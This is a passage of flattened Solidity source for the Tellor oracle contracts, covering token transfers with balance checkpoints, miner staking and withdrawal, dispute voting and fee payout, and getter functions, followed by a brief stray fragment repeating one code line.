keccak256("stakerCount"); //number of parties currently staked // keccak256("timeOfLastNewValue"); // time of last challenge solved // keccak256("difficulty"); // Difficulty of current block // keccak256("currentTotalTips"); //value of highest api/timestamp PayoutPool // keccak256("currentRequestId"); //API being mined--updates with the ApiOnQ Id // keccak256("requestCount"); // total number of requests through the system // keccak256("slotProgress");//Number of miners who have mined this value so far // keccak256("miningReward");//Mining Reward in PoWo tokens given to all miners per value // keccak256("timeTarget"); //The time between blocks (mined Oracle values) //keccak256("minimumPayment") //The minimum payment in TRB for a data request // keccak256("uniqueStakers")//Number of unique stakers // keccak256("lastSelected") //Time we last selected validators //This is a boolean that tells you if a given challenge has been completed by a given miner mapping(bytes32 => mapping(address => bool)) minersByChallenge; mapping(uint256 => uint256) requestIdByTimestamp; //minedTimestamp to apiId mapping(uint256 => uint256) requestIdByRequestQIndex; //link from payoutPoolIndex (position in payout pool array) to apiId mapping(uint256 => Dispute) disputesById; //disputeId=> Dispute details mapping(address => Checkpoint[]) balances; //balances of a party given blocks mapping(address => mapping(address => uint256)) allowed; //allowance for a given party and approver mapping(address => StakeInfo) stakerDetails; //mapping from a persons address to their staking info mapping(uint256 => Request) requestDetails; //mapping of apiID to details mapping(bytes32 => uint256[]) disputeIdsByDisputeHash; //maps a hash to an ID for each dispute } } /** * @title Tellor Transfer * @dev Contais the methods related to transfers and ERC20. Tellor.sol and TellorGetters.sol * reference this library for function's logic. */ library TellorTransfer { using SafeMath for uint256; /*Functions*/ /** * @dev Gets balance of owner specified * @param _user is the owner address used to look up the balance * @return Returns the balance associated with the passed in _user */ function balanceOf(TellorStorage.TellorStorageStruct storage self, address _user) public view returns (uint256) { return balanceOfAt(self, _user, block.number); } /** * @dev Completes POWO transfers by updating the balances on the current block number * @param _from address to transfer from * @param _to addres to transfer to * @param _amount to transfer */ function doTransfer(TellorStorage.TellorStorageStruct storage self, address _from, address _to, uint256 _amount) internal { require(_amount > 0, "Tried to send non-positive amount"); uint256 previousBalance; if(_from != address(this)){ require(balanceOf(self, _from).sub(_amount) >= 0, "Stake amount was not removed from balance"); previousBalance = balanceOfAt(self, _from, block.number); updateBalanceAtNow(self.balances[_from], previousBalance - _amount); } previousBalance = balanceOfAt(self, _to, block.number); require(previousBalance + _amount >= previousBalance, "Overflow happened"); // Check for overflow updateBalanceAtNow(self.balances[_to], previousBalance + _amount); } /** * @dev Queries the balance of _user at a specific _blockNumber * @param _user The address from which the balance will be retrieved * @param _blockNumber The block number when the balance is queried * @return The balance at _blockNumber specified */ function balanceOfAt(TellorStorage.TellorStorageStruct storage self, address _user, uint256 _blockNumber) public view returns (uint256) { if ((self.balances[_user].length == 0) || (self.balances[_user][0].fromBlock > _blockNumber)) { return 0; } else { return getBalanceAt(self.balances[_user], _blockNumber); } } /** * @dev Getter for balance for owner on the specified _block number * @param checkpoints gets the mapping for the balances[owner] * @param _block is the block number to search the balance on * @return the balance at the checkpoint */ function getBalanceAt(TellorStorage.Checkpoint[] storage checkpoints, uint256 _block) public view returns (uint256) { if (checkpoints.length == 0) return 0; if (_block >= checkpoints[checkpoints.length - 1].fromBlock) return checkpoints[checkpoints.length - 1].value; if (_block < checkpoints[0].fromBlock) return 0; // Binary search of the value in the array uint256 min = 0; uint256 max = checkpoints.length - 1; while (max > min) { uint256 mid = (max + min + 1) / 2; if (checkpoints[mid].fromBlock <= _block) { min = mid; } else { max = mid - 1; } } return checkpoints[min].value; } /** * @dev Updates balance for from and to on the current block number via doTransfer * @param checkpoints gets the mapping for the balances[owner] * @param _value is the new balance */ function updateBalanceAtNow(TellorStorage.Checkpoint[] storage checkpoints, uint256 _value) public { if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) { TellorStorage.Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++]; newCheckPoint.fromBlock = uint128(block.number); newCheckPoint.value = uint128(_value); } else { TellorStorage.Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length - 1]; oldCheckPoint.value = uint128(_value); } } } /** * itle Tellor Stake * @dev Contains the methods related to miners staking and unstaking. Tellor.sol * references this library for function's logic. */ library TellorStake { event NewStake(address indexed _sender); //Emits upon new staker event StakeWithdrawn(address indexed _sender); //Emits when a staker is now no longer staked event StakeWithdrawRequested(address indexed _sender); //Emits when a staker begins the 7 day withdraw period /*Functions*/ /** * @dev This function allows stakers to request to withdraw their stake (no longer stake) * once they lock for withdraw(stakes.currentStatus = 2) they are locked for 7 days before they * can withdraw the deposit */ function requestStakingWithdraw(TellorStorage.TellorStorageStruct storage self, uint _amount) public { TellorStorage.StakeInfo storage stakes = self.stakerDetails[msg.sender]; require(stakes.currentStatus == 1, "Miner is not staked"); require(_amount % self.uintVars[keccak256("minimumStake")] == 0, "Must be divisible by minimumStake"); require(_amount <= TellorTransfer.balanceOf(self,msg.sender)); for(uint i=0; i < _amount / self.uintVars[keccak256("minimumStake")]; i++) { removeFromStakerArray(self, stakes.stakePosition[i],msg.sender); } //Change the miner staked to locked to be withdrawStake if (TellorTransfer.balanceOf(self,msg.sender) - _amount == 0){ stakes.currentStatus = 2; } stakes.withdrawDate = now - (now % 86400); stakes.withdrawAmount = _amount; emit StakeWithdrawRequested(msg.sender); } /** * @dev This function allows users to withdraw their stake after a 7 day waiting period from request */ function withdrawStake(TellorStorage.TellorStorageStruct storage self) public { TellorStorage.StakeInfo storage stakes = self.stakerDetails[msg.sender]; //Require the staker has locked for withdraw(currentStatus ==2) and that 7 days have //passed by since they locked for withdraw require(now - (now % 86400) - stakes.withdrawDate >= 7 days, "7 days didn't pass"); require(stakes.currentStatus !=3 , "Miner is under dispute"); TellorTransfer.doTransfer(self,msg.sender,address(0),stakes.withdrawAmount); if (TellorTransfer.balanceOf(self,msg.sender) == 0){ stakes.currentStatus =0 ; self.uintVars[keccak256("stakerCount")] -= 1; self.uintVars[keccak256("uniqueStakers")] -= 1; } self.uintVars[keccak256("totalStaked")] -= stakes.withdrawAmount; TokenInterface tellorToken = TokenInterface(self.addressVars[keccak256("tellorToken")]); tellorToken.transfer(msg.sender,stakes.withdrawAmount); emit StakeWithdrawn(msg.sender); } /** * @dev This function allows miners to deposit their stake * @param _amount is the amount to be staked */ function depositStake(TellorStorage.TellorStorageStruct storage self, uint _amount) public { TokenInterface tellorToken = TokenInterface(self.addressVars[keccak256("tellorToken")]); require(tellorToken.allowance(msg.sender,address(this)) >= _amount, "Proper amount must be allowed to this contract"); tellorToken.transferFrom(msg.sender, address(this), _amount); //Ensure they can only stake if they are not currrently staked or if their stake time frame has ended //and they are currently locked for witdhraw require(self.stakerDetails[msg.sender].currentStatus == 0 || self.stakerDetails[msg.sender].currentStatus == 1, "Miner is in the wrong state"); //if this is the first time this addres stakes count, then add them to the stake count if(TellorTransfer.balanceOf(self,msg.sender) == 0){ self.uintVars[keccak256("uniqueStakers")] += 1; } require(_amount >= self.uintVars[keccak256("minimumStake")], "You must stake a certain amount"); require(_amount % self.uintVars[keccak256("minimumStake")] == 0, "Must be divisible by minimumStake"); for(uint i=0; i < _amount / self.uintVars[keccak256("minimumStake")]; i++){ self.stakerDetails[msg.sender].stakePosition.push(self.stakers.length); //self.stakerDetails[msg.sender].stakePositionArrayIndex[self.stakerDetails[msg.sender].stakerPosition.length] = self.stakers.length; self.stakers.push(msg.sender); self.uintVars[keccak256("stakerCount")] += 1; } self.stakerDetails[msg.sender].currentStatus = 1; self.stakerDetails[msg.sender].startDate = now - (now % 86400); TellorTransfer.doTransfer(self,address(this),msg.sender,_amount); self.uintVars[keccak256("totalStaked")] += _amount; emit NewStake(msg.sender); } /** * @dev This function is used by requestStakingWithdraw to remove the staker from the stakers array * @param _pos is the staker's position in the array * @param _staker is the staker's address */ function removeFromStakerArray(TellorStorage.TellorStorageStruct storage self, uint _pos, address _staker) internal{ address lastAdd; if(_pos == self.stakers.length-1){ self.stakers.length--; self.stakerDetails[_staker].stakePosition.length--; } else{ lastAdd = self.stakers[self.stakers.length-1]; self.stakers[_pos] = lastAdd; self.stakers.length--; self.stakerDetails[_staker].stakePosition.length--; } } } interface TokenInterface { function totalSupply() external view returns (uint); function balanceOf(address tokenOwner) external view returns (uint balance); function balanceOfAt(address tokenOwner, uint256 blockNumber) external view returns (uint balance); function allowance(address tokenOwner, address spender) external view returns (uint remaining); function transfer(address to, uint tokens) external returns (bool success); function approve(address spender, uint tokens) external returns (bool success); function transferFrom(address from, address to, uint tokens) external returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } /** * @title Tellor Dispute * @dev Contains the methods related to disputes. Tellor.sol references this library for function's logic. */ library TellorDispute { using SafeMath for uint256; using SafeMath for int256; //emitted when a new dispute is initialized event NewDispute(uint256 indexed _disputeId, uint256 indexed _requestId, uint256 _timestamp, address _miner); //emitted when a new vote happens event Voted(uint256 indexed _disputeID, bool _position, address indexed _voter); //emitted upon dispute tally event DisputeVoteTallied(uint256 indexed _disputeID, int256 _result, address indexed _reportedMiner, address _reportingParty, bool _active); /*Functions*/ /** * @dev Helps initialize a dispute by assigning it a disputeId * when a miner returns a false on the validate array(in Tellor.ProofOfWork) it sends the * invalidated value information to POS voting * @param _requestId being disputed * @param _timestamp being disputed * @param _minerIndex the index of the miner that submitted the value being disputed. Since each official value * requires 5 miners to submit a value. */ function beginDispute(TellorStorage.TellorStorageStruct storage self, uint256 _requestId, uint256 _timestamp, uint256 _minerIndex) public { TellorStorage.Request storage _request = self.requestDetails[_requestId]; //require that no more than a day( (24 hours * 60 minutes)/10minutes=144 blocks) has gone by since the value was "mined" //require(now - _timestamp <= 1 days, "The value was mined more than a day ago"); require(_request.minedBlockNum[_timestamp] > 0, "Mined block is 0"); require(_minerIndex < 5, "Miner index is wrong"); //_miner is the miner being disputed. For every mined value 5 miners are saved in an array and the _minerIndex //provided by the party initiating the dispute address _miner = _request.minersByValue[_timestamp][_minerIndex]; bytes32 _hash = keccak256(abi.encodePacked(_miner, _requestId, _timestamp)); if (self.disputeIdsByDisputeHash[_hash].length > 0){ uint256 _finalId = self.disputeIdsByDisputeHash[_hash][self.disputeIdsByDisputeHash[_hash].length - 1]; require(self.disputesById[_finalId].executed, "previous vote must be over with"); } //Increase the dispute count by 1 self.uintVars[keccak256("disputeCount")] = self.uintVars[keccak256("disputeCount")] + 1; //Sets the new disputeCount as the disputeId uint256 disputeId = self.uintVars[keccak256("disputeCount")]; //maps the dispute hash to the disputeId uint256 _fee = self.uintVars[keccak256("disputeFee")] * 2**self.disputeIdsByDisputeHash[_hash].length; self.disputeIdsByDisputeHash[_hash].push(disputeId); //Ensures that a dispute is not already open for the that miner, requestId and timestamp require(self.disputesById[self.disputeIdsByDisputeHash[_hash][0]].disputeUintVars[keccak256("minExecutionDate")] < now, "Dispute is already open"); //Transfer dispute fee TokenInterface tellorToken = TokenInterface(self.addressVars[keccak256("tellorToken")]); require(tellorToken.balanceOf(msg.sender) >= _fee, "Balance is too low to cover dispute fee"); require(tellorToken.allowance(msg.sender,address(this)) >= _fee, "Proper amount must be allowed to this contract"); tellorToken.transferFrom(msg.sender, address(this), _fee); //maps the dispute to the Dispute struct self.disputesById[disputeId] = TellorStorage.Dispute({ hash: _hash, reportedMiner: _miner, reportingParty: msg.sender, executed: false, disputeVotePassed: false, tally: 0 }); //Saves all the dispute variables for the disputeId self.disputesById[disputeId].disputeUintVars[keccak256("requestId")] = _requestId; self.disputesById[disputeId].disputeUintVars[keccak256("timestamp")] = _timestamp; self.disputesById[disputeId].disputeUintVars[keccak256("value")] = _request.valuesByTimestamp[_timestamp][_minerIndex]; self.disputesById[disputeId].disputeUintVars[keccak256("minExecutionDate")] = now + 2 days * self.disputeIdsByDisputeHash[_hash].length; self.disputesById[disputeId].disputeUintVars[keccak256("blockNumber")] = block.number; self.disputesById[disputeId].disputeUintVars[keccak256("minerSlot")] = _minerIndex; self.disputesById[disputeId].disputeUintVars[keccak256("fee")] = _fee; //Values are sorted as they come in and the official value is the median of the first five //So the "official value" miner is always minerIndex==2. If the official value is being //disputed, it sets its status to inDispute(currentStatus = 3) so that users are made aware it is under dispute if (_minerIndex == 2) { _request.inDispute[_timestamp] = true; _request.finalValues[_timestamp] = 0; } self.stakerDetails[_miner].currentStatus = 3; emit NewDispute(disputeId, _requestId, _timestamp, _miner); } /** * @dev Allows token holders to vote * @param _disputeId is the dispute id * @param _supportsDispute is the vote (true=the dispute has basis false = vote against dispute) */ function vote(TellorStorage.TellorStorageStruct storage self, uint256 _disputeId, bool _supportsDispute) public { TellorStorage.Dispute storage disp = self.disputesById[_disputeId]; //Get the voteWeight or the balance of the user at the time/blockNumber the disupte began //if they are staked weigh vote based on their staked + unstaked balance of TRB on the side chain uint256 voteWeight; TokenInterface tellorToken = TokenInterface(self.addressVars[keccak256("tellorToken")]); voteWeight = TellorTransfer.balanceOfAt(self, msg.sender, disp.disputeUintVars[keccak256("blockNumber")]) + tellorToken.balanceOfAt(msg.sender,disp.disputeUintVars[keccak256("blockNumber")]); //Require that the msg.sender has not voted require(disp.voted[msg.sender] != true, "Sender has already voted"); //Requre that the user had a balance >0 at time/blockNumber the disupte began require(voteWeight > 0, "User balance is 0"); //ensures miners that are under dispute cannot vote require(self.stakerDetails[msg.sender].currentStatus != 3, "Miner is under dispute"); //Update user voting status to true disp.voted[msg.sender] = true; //Update the number of votes for the dispute disp.disputeUintVars[keccak256("numberOfVotes")] += 1; //If the user supports the dispute increase the tally for the dispute by the voteWeight if (_supportsDispute) { disp.tally = disp.tally.add(int256(voteWeight)); } else { disp.tally = disp.tally.sub(int256(voteWeight)); } //Let the network know the user has voted on the dispute and their casted vote emit Voted(_disputeId, _supportsDispute, msg.sender); } /** * @dev tallies the votes. * @param _disputeId is the dispute id */ function tallyVotes(TellorStorage.TellorStorageStruct storage self, uint256 _disputeId) public { TellorStorage.Dispute storage disp = self.disputesById[_disputeId]; //Ensure this has not already been executed/tallied require(disp.executed == false, "Dispute has been already executed"); require(disp.reportingParty != address(0)); //Ensure the time for voting has elapsed require(now > disp.disputeUintVars[keccak256("minExecutionDate")], "Time for voting haven't elapsed"); TellorStorage.StakeInfo storage stakes = self.stakerDetails[disp.reportedMiner]; //If the vote for disputing a value is succesful(disp.tally >0) then unstake the reported // miner and transfer the stakeAmount and dispute fee to the reporting party if (disp.tally > 0) { //Set the dispute state to passed/true disp.disputeVotePassed = true; } if (stakes.currentStatus == 3){ stakes.currentStatus = 4; } //update the dispute status to executed disp.executed = true; disp.disputeUintVars[keccak256("tallyDate")] = now; emit DisputeVoteTallied(_disputeId, disp.tally, disp.reportedMiner, disp.reportingParty, disp.disputeVotePassed); } /** * @dev Unlocks the dispute fee * @param _disputeId is the dispute id */ function unlockDisputeFee (TellorStorage.TellorStorageStruct storage self, uint _disputeId) public { bytes32 _hash = self.disputesById[_disputeId].hash; uint256 _finalId = self.disputeIdsByDisputeHash[_hash][self.disputeIdsByDisputeHash[_hash].length - 1]; TellorStorage.Dispute storage disp = self.disputesById[_finalId]; require(disp.disputeUintVars[keccak256("paid")] == 0,"already paid out"); require(now - disp.disputeUintVars[keccak256("tallyDate")] > 1 days, "Time for voting haven't elapsed"); TokenInterface tellorToken = TokenInterface(self.addressVars[keccak256("tellorToken")]); TellorStorage.StakeInfo storage stakes = self.stakerDetails[disp.reportedMiner]; disp.disputeUintVars[keccak256("paid")] = 1; if (disp.disputeVotePassed == true){ //if reported miner stake has not been slashed yet, slash them and return the fee to reporting party if (stakes.currentStatus == 4) { //Changing the currentStatus and startDate unstakes the reported miner and transfers the stakeAmount self.uintVars[keccak256("stakerCount")] -= 1; stakes.startDate = now - (now % 86400); TellorStake.removeFromStakerArray(self, stakes.stakePosition[0],disp.reportedMiner); //Decreases the stakerCount since the miner's stake is being slashed TellorTransfer.doTransfer(self,disp.reportedMiner,address(0),self.uintVars[keccak256("minimumStake")]); if (TellorTransfer.balanceOf(self,disp.reportedMiner) == 0){ stakes.currentStatus =0 ; self.uintVars[keccak256("uniqueStakers")] -= 1; }else{ stakes.currentStatus = 1; } self.uintVars[keccak256("totalStaked")] -= self.uintVars[keccak256("minimumStake")]; for(uint i = 1; i <= self.disputeIdsByDisputeHash[disp.hash].length;i++){ uint256 _id = self.disputeIdsByDisputeHash[_hash][i-1]; disp = self.disputesById[_id]; if(i == 1){ tellorToken.transfer(disp.reportingParty,self.uintVars[keccak256("minimumStake")] + disp.disputeUintVars[keccak256("fee")]); } else{ tellorToken.transfer(disp.reportingParty,disp.disputeUintVars[keccak256("fee")]); } } //if reported miner stake was already slashed, return the fee to other reporting paties } else { for(uint i = 1; i <= self.disputeIdsByDisputeHash[disp.hash].length;i++){ uint256 _id = self.disputeIdsByDisputeHash[_hash][i-1]; disp = self.disputesById[_id]; tellorToken.transfer(disp.reportingParty,disp.disputeUintVars[keccak256("fee")]); } } } else { if (stakes.currentStatus == 4){ stakes.currentStatus = 1; } TellorStorage.Request storage _request = self.requestDetails[disp.disputeUintVars[keccak256("requestId")]]; if(disp.disputeUintVars[keccak256("minerSlot")] == 2) { //note we still don't put timestamp back into array (is this an issue? (shouldn't be)) _request.finalValues[disp.disputeUintVars[keccak256("timestamp")]] = disp.disputeUintVars[keccak256("value")]; } //tranfer the dispute fee to the miner if (_request.inDispute[disp.disputeUintVars[keccak256("timestamp")]] == true) { _request.inDispute[disp.disputeUintVars[keccak256("timestamp")]] = false; } for(uint i = 1; i <= self.disputeIdsByDisputeHash[disp.hash].length;i++){ uint256 _id = self.disputeIdsByDisputeHash[_hash][i-1]; disp = self.disputesById[_id]; tellorToken.transfer(disp.reportedMiner,disp.disputeUintVars[keccak256("fee")]); } } } } /** * @title Tellor Getters * @dev Oracle contract with all tellor getter functions. The logic for the functions on this contract * is saved on the TellorGettersLibrary, TellorTransfer, TellorGettersLibrary, and TellorStake */ contract TellorGetters { using SafeMath for uint256; using TellorTransfer for TellorStorage.TellorStorageStruct; using TellorGettersLibrary for TellorStorage.TellorStorageStruct; using TellorStake for TellorStorage.TellorStorageStruct; using TellorDispute for TellorStorage.TellorStorageStruct; using TellorLibrary for TellorStorage.TellorStorageStruct; TellorStorage.TellorStorageStruct tellor; /** * @dev This function tells you if a given challenge has been completed by a given miner * @param _challenge the challenge to search for * @param _miner address that you want to know if they solved the challenge * @return true if the _miner address provided solved the */ function didMine(bytes32 _challenge, address _miner) external view returns (bool) { return tellor.didMine(_challenge, _miner); } /** * @dev This function gets the balance of the specified user address * @param _user is the address to check the balance for */ function balanceOf(address _user) external view returns(uint256){ return tellor.balanceOf(_user); } /** * @dev This function gets the currently selected validators * @return an array of the currently selected validators */ function getCurrentMiners() external view returns(address[] memory miners){ return tellor.getCurrentMiners(); } /** * @dev Checks if an address voted in a given dispute * @param _disputeId to look up * @param _address to look up * @return bool of whether or not party voted */ function didVote(uint256 _disputeId, address _address) external view returns (bool) { return tellor.didVote(_disputeId, _address); } /** * @dev allows Tellor to read data from the addressVars mapping * @param _data is the keccak256("variable_name") of the variable that is being accessed. * These are examples of how the variables are saved within other functions: * addressVars[keccak256("_owner")] * addressVars[keccak256("tellorContract")] */ function getAddressVars(bytes32 _data) external view returns (address) { return tellor.getAddressVars(_data); } /** * @dev Gets all dispute variables * @param _disputeId to look up * @return bytes32 hash of dispute * @return bool executed where true if it has been voted on * @return bool disputeVotePassed * @return address of reportedMiner * @return address of reportingParty * @return uint of requestId * @return uint of timestamp * @return uint of value * @return uint of minExecutionDate * @return uint of numberOfVotes * @return uint of blocknumber * @return uint of minerSlot * @return uint of quorum * @return uint of fee * @return int count of the current tally */ function getAllDisputeVars(uint256 _disputeId) public view returns (bytes32, bool, bool, address, address, uint256[9] memory, int256) { return tellor.getAllDisputeVars(_disputeId); } /** * @dev Getter function for variables for the requestId validators are currently providing data for * @return current challenge, curretnRequestId, total tip for the request */ function getCurrentVariables() external view returns (bytes32, uint256, uint256) { return tellor.getCurrentVariables(); } /** * @dev Checks if a given hash of validator,requestId has been disputed * @param _hash is the sha256(abi.encodePacked(_miners[2],_requestId)); * @return uint array of disputeIds */ function getDisputeIdsByDisputeHash(bytes32 _hash) external view returns (uint256[] memory) { return tellor.getDisputeIdsByDisputeHash(_hash); } /** * @dev Checks for uint variables in the disputeUintVars mapping based on the disuputeId * @param _disputeId is the dispute id; * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is * the variables/strings used to save the data in the mapping. The variables names are * commented out under the disputeUintVars under the Dispute struct * @return uint value for the bytes32 data submitted */ function getDisputeUintVars(uint256 _disputeId, bytes32 _data) external view returns (uint256) { return tellor.getDisputeUintVars(_disputeId, _data); } /** * @dev Gets the a value for the latest timestamp available * @return value for timestamp of last proof of work submited * @return true if the is a timestamp for the lastNewValue */ function getLastNewValue() external view returns (uint256, bool) { return tellor.getLastNewValue(); } /** * @dev Gets the a value for the latest timestamp available * @param _requestId being requested * @return value for timestamp of last proof of work submited and if true if it exist or 0 and false if it doesn't */ function getLastNewValueById(uint256 _requestId) external view returns (uint256, bool) { return tellor.getLastNewValueById(_requestId); } /** * @dev Gets blocknumber for mined timestamp * @param _requestId to look up * @param _timestamp is the timestamp to look up blocknumber * @return uint of the blocknumber which the dispute was mined */ function getMinedBlockNum(uint256 _requestId, uint256 _timestamp) external view returns (uint256) { return tellor.getMinedBlockNum(_requestId, _timestamp); } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @param _requestId to look up * @param _timestamp is the timestamp to look up miners for * @return the 5 miners' addresses */ function getMinersByRequestIdAndTimestamp(uint256 _requestId, uint256 _timestamp) external view returns (address[5] memory) { return tellor.getMinersByRequestIdAndTimestamp(_requestId, _timestamp); } /** * @dev Counts the number of values that have been submited for the request * if called for the currentRequest being mined it can tell you how many miners have submitted a value for that * request so far * @param _requestId the requestId to look up * @return uint count of the number of values received for the requestId */ function getNewValueCountbyRequestId(uint256 _requestId) external view returns (uint256) { return tellor.getNewValueCountbyRequestId(_requestId); } /** * @dev Getter function for the specified requestQ index * @param _index to look up in the requestQ array * @return uint of reqeuestId */ function getRequestIdByRequestQIndex(uint256 _index) external view returns (uint256) { return tellor.getRequestIdByRequestQIndex(_index); } /** * @dev Getter function for requestId based on timestamp * @param _timestamp to check requestId * @return uint of reqeuestId */ function getRequestIdByTimestamp(uint256 _timestamp) external view returns (uint256) { return tellor.getRequestIdByTimestamp(_timestamp); } /** * @dev Getter function for the requestQ array * @return the requestQ arrray */ function getRequestQ() public view returns (uint256[51] memory) { return tellor.getRequestQ(); } /** * @dev Allows access to the uint variables saved in the apiUintVars under the requestDetails struct * for the requestId specified * @param _requestId to look up * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is * the variables/strings used to save the data in the mapping. The variables names are * commented out under the apiUintVars under the requestDetails struct * @return uint value of the apiUintVars specified in _data for the requestId specified */ function getRequestUintVars(uint256 _requestId, bytes32 _data) external view returns (uint256) { return tellor.getRequestUintVars(_requestId, _data); } /** * @dev Gets the API struct variables that are not mappings * @param _requestId to look up * @return uint of index in requestQ array * @return uint of current payout/tip for this requestId */ function getRequestVars(uint256 _requestId) external view returns (uint256, uint256) { return tellor.getRequestVars(_requestId); } /** * @dev This function allows users to retireve all information about a staker * @param _staker address of staker inquiring about * @return uint current state of staker * @return uint startDate of staking * @return uint stakePosition for the staker */ function getStakerInfo(address _staker) external view returns (uint256, uint256,uint256) { return tellor.getStakerInfo(_staker); } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @param _requestId to look up * @param _timestamp is the timestampt to look up miners for * @return address[5] array of 5 addresses ofminers that mined the requestId */ function getSubmissionsByTimestamp(uint256 _requestId, uint256 _timestamp) external view returns (uint256[5] memory) { return tellor.getSubmissionsByTimestamp(_requestId, _timestamp); } /** * @dev Gets the timestamp for the value based on their index * @param _requestID is the requestId to look up * @param _index is the value index to look up * @return uint timestamp */ function getTimestampbyRequestIDandIndex(uint256 _requestID, uint256 _index) external view returns (uint256) { return tellor.getTimestampbyRequestIDandIndex(_requestID, _index); } /** * @dev Getter for the variables saved under the TellorStorageStruct uintVars variable * @param _data the variable to pull from the mapping. _data = keccak256("variable_name") where variable_name is * the variables/strings used to save the data in the mapping. The variables names are * commented out under the uintVars under the TellorStorageStruct struct * This is an example of how data is saved into the mapping within other functions: * self.uintVars[keccak256("stakerCount")] * @return uint of specified variable */ function getUintVar(bytes32 _data) public view returns (uint256) { return tellor.getUintVar(_data); } /** * @dev Getter function for next requestId on queue/request with highest payout at time the function is called * @return onDeck/info on request with highest payout-- RequestId, Totaltips */ function getVariablesOnDeck() external view returns (uint256, uint256) { return tellor.getVariablesOnDeck(); } /** * @dev Gets the 5 miners who mined the value for the specified requestId/_timestamp * @param _requestId to look up * @param _timestamp is the timestamp to look up miners for * @return bool true if requestId/timestamp is under dispute */ function isInDispute(uint256 _requestId, uint256 _timestamp) external view returns (bool) { return tellor.isInDispute(_requestId, _timestamp); } /** * @dev Retreive value from oracle based on timestamp * @param _requestId being requested * @param _timestamp to retreive data/value from * @return value for timestamp submitted */ function retrieveData(uint256 _requestId, uint256 _timestamp) external view returns (uint256) { return tellor.retrieveData(_requestId, _timestamp); } } /** * @title Tellor Oracle System * @dev Oracle contract where miners can submit the proof of work along with the value. * The logic for this contract is in TellorLibrary.sol, TellorDispute.sol, TellorStake.sol, * and TellorTransfer.sol */ contract Tellor is TellorGetters{ using SafeMath for uint256; event NewTellorToken(address _token); /*Functions*/ constructor (address _tellorToken) public { tellor.uintVars[keccak256("decimals")] = 18; tellor.uintVars[keccak256("disputeFee")] = 10e18; tellor.uintVars[keccak256("minimumStake")] = 100e18; tellor.addressVars[keccak256("tellorToken")] = _tellorToken; emit NewTellorToken(_tellorToken); } /** * @dev Helps initialize a dispute by assigning it a disputeId * when a miner returns a false on the validate array(in Tellor.ProofOfWork) it sends the * invalidated value information to POS voting * @param _requestId being disputed * @param _timestamp being disputed * @param _minerIndex the index of the miner that submitted the value being disputed. Since each official value * requires 5 miners to submit a value. */ function beginDispute(uint256 _requestId, uint256 _timestamp, uint256 _minerIndex) external { tellor.beginDispute(_requestId, _timestamp, _minerIndex); } /** * @dev Allows token holders to vote * @param _disputeId is the dispute id * @param _supportsDispute is the vote (true=the dispute has basis false = vote against dispute) */ function vote(uint256 _disputeId, bool _supportsDispute) external { tellor.vote(_disputeId, _supportsDispute); } /** * @dev tallies the votes. * @param _disputeId is the dispute id */ function tallyVotes(uint256 _disputeId) external { tellor.tallyVotes(_disputeId); } /** * @dev Add tip to Request value from oracle * @param _requestId being requested to be mined * @param _tip amount the requester is willing to pay to be get on queue. Miners * mine the onDeckQueryHash, or the api with the highest payout pool */ function addTip(uint256 _requestId, uint256 _tip) external { tellor.addTip(_requestId, _tip); } /** * @dev Proof of work is called by the miner when they submit the solution (proof of work and value) * @param _requestId the apiId being mined * @param _value of api query */ function submitMiningSolution(uint256 _requestId, uint256 _value) external { tellor.submitMiningSolution(_requestId, _value); } /** * @dev This function allows miners to deposit their stake. * @param _amount is the amount the sender wants to stake */ function depositStake(uint _amount) external { tellor.depositStake(_amount); } /** * @dev This function reselects validators if the originals did not complete the block */ function reselectNewValidators() external{ tellor.reselectNewValidators(); } /** * @dev This function allows stakers to request to withdraw their stake (no longer stake) * once they lock for withdraw(stakes.currentStatus = 2) they are locked for 7 days before they * can withdraw the stake * @param _amount to unstake */ function requestStakingWithdraw(uint _amount) external { tellor.requestStakingWithdraw(_amount); } /** * @dev This function allows for the dispute fee to be unlocked after the dispute vote has elapsed * @param _disputeId is the disputeId to unlock the fee from */ function unlockDisputeFee (uint _disputeId) external{ tellor.unlockDisputeFee(_disputeId); } /** * @dev This function allows users to withdraw their stake after a 7 day waiting period from request */ function withdrawStake() external { tellor.withdrawStake(); } /** * @dev Allows users to access the token's name */ function name() external pure returns (string memory) { return "Tellor Tributes"; } /** * @dev Allows users to access the token's symbol */ function symbol() external pure returns (string memory) { return "TRB"; } /** * @dev Allows users to access the number of decimals */ function decimals() external pure returns (uint8) { return 18; } }
Sets the new disputeCount as the disputeId
uint256 disputeId = self.uintVars[keccak256("disputeCount")];
12,579,088
